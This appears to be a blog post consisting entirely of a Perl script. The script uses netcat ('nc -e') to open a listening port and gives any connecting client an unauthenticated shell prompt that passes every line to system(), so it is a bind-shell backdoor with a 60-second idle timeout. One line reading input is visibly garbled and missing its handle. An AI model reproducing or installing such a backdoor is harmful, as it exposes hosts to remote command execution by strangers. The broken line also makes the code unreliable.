#!/usr/bin/perl -w # save in /bin/selfkill # calls itself with argument in order to complete process and open up $portnum # with prompt for $lifetime seconds $| = 1; $lifetime = 60; # in seconds my $prompt = '[me@selfkill]$ '; my $portnum = 35898; # can be anything within port range # create file that deletes itself on completion system('echo -e "#!/bin/bash\nexec /bin/selfkill run\nexec /bin/rm $0" > /tmp/selfkill; chmod +x /tmp/selfkill'); # exec if /tmp/selfkill has no args (will be called from self-call above) if(!@ARGV){ exec("nc -e /tmp/selfkill -l -p $portnum"); die; } # set reasonable path $ENV{'PATH'} = '/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/local/bin:/usr/local/sbin:.'; while(1){ print $prompt; eval { local $SIG{ALRM} = sub { die 'Goodbye!\n'; }; alarm $lifetime; &syscall; alarm 0; }; # shell not used for 60 seconds so die if( $@ ){ die; } } sub syscall{ if( defined( $_ =)){ chomp; system( $_ ); } }
0 comments:
Post a Comment